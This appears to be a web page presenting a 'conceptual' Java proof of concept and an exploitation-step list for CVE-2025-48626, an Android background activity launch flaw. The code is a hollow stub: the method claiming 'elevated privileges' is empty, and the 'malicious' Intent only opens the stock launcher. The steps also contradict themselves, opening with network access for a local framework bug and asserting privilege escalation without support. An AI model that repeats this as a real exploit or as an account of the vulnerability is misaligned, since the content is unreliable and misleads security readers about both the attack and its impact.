CVE-2025-48626 Android后台应用启动权限提升漏洞

// CVE-2025-48626 PoC - Android Background App Launch Exploitation // This PoC demonstrates the concept of exploiting the background app launch vulnerability // Note: This is a conceptual demonstration for security research // Actual exploitation requires specific context and Android version public class CVE_2025_48626_PoC { /** * Conceptual proof of concept for CVE-2025-48626 * Exploits precondition check failure in Android framework * Allows launching applications from background without user interaction * * WARNING: For authorized security testing only */ public void exploitConcept() { // Step 1: Identify vulnerable entry points in Android framework String vulnerablePackage = "com.android.systemui"; // Step 2: Construct malicious Intent to bypass checks Intent maliciousIntent = new Intent(); maliciousIntent.setComponent(new ComponentName( "com.android.launcher3", "com.android.launcher3.uioverrides.QuickstepLauncher" )); maliciousIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // Step 3: Exploit precondition check failure // The vulnerability allows bypassing background activity start restrictions try { // Attempt to start activity from background context startActivitySafely(maliciousIntent); } catch (SecurityException e) { // Exception indicates vulnerability may be patched } } private void startActivitySafely(Intent intent) { // Context.startActivity() with elevated privileges // Exploits the missing precondition validation } } // Exploitation steps: // 1. Attacker gains network access to Android device // 2. Malicious app or web content triggers vulnerable code path // 3. Framework fails to validate precondition for background activity start // 4. Arbitrary application launches in background without user consent // 5. Attacker achieves privilege escalation and information disclosure
